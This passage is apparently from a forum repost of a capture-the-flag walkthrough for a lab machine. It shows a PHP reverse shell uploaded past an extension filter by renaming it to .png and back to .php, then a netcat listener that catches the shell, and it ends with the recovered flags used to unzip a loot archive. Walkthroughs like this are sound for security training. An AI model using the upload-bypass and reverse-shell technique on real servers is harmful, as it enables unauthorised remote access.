This means that there is a file extension restriction/filter in place. Let’s try to rename the file extension to .png and see if it works. Yes, upon uploading again we observed that the file php-reverse-shell.png has been uploaded successfully.

[To see content please register here]

We now need to go the uploads folders and change the extension back to its original self (i.e change from .png back to .php). Before that, we need to find out where exactly is the uploads folder?
Upon navigation and more research we found that the following path contains the uploads folder, which has the php-reverse-shell.png file uploaded by us earlier.
cd /var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/
ls
1
2
cd /var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS/
ls
Here we can see the uploads directory which might contain some interesting files
cd uploads/
ls
1
2
cd uploads/
ls
From the output, we can see the file php-reverse-shell.png (uploaded in the earlier step), listed under the uploads directory
Now move/replace the file php-reverse-shell.png with the php-reverse-shell.php as shown below
mv php-reverse-shell.png php-reverse-shell.php
1
mv php-reverse-shell.png php-reverse-shell.php
[Image: 41.png?w=687&ssl=1]

Let’s run the Netcat listener
nc –lvp 1234
1
nc –lvp 1234
Browse the following URL and we will get the limited shell access

[To see content please register here]

Now let’s read the content and we will see that .5.txt file is listed here :
ls -la
cat .5.txt
1
2
ls -la
cat .5.txt
[Image: 42.png?w=687&ssl=1]

Voila!! We got our 5th Flag – Buttcrack
As we have captured all five flags, let’s concatenate all the flags together which is a long string and may eventually help us to open the zip file
String : B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack
1
String : B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack
So, now unzip the zip file:
unzip LOOT.zip
1
unzip LOOT.zip
It will prompt for unzip password and we will type the lengthy string (as mentioned above ) as the password. Once the file is unzipped it will contain the last part of the challenge i.e. a text file. Let’s read it and finish this whole thing up :
cat THE-END.txt
1
cat THE-END.txt
[Image: 43.png?w=687&ssl=1]

Pages ({1}): « Previous 1 … 862 863 864 865 866 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis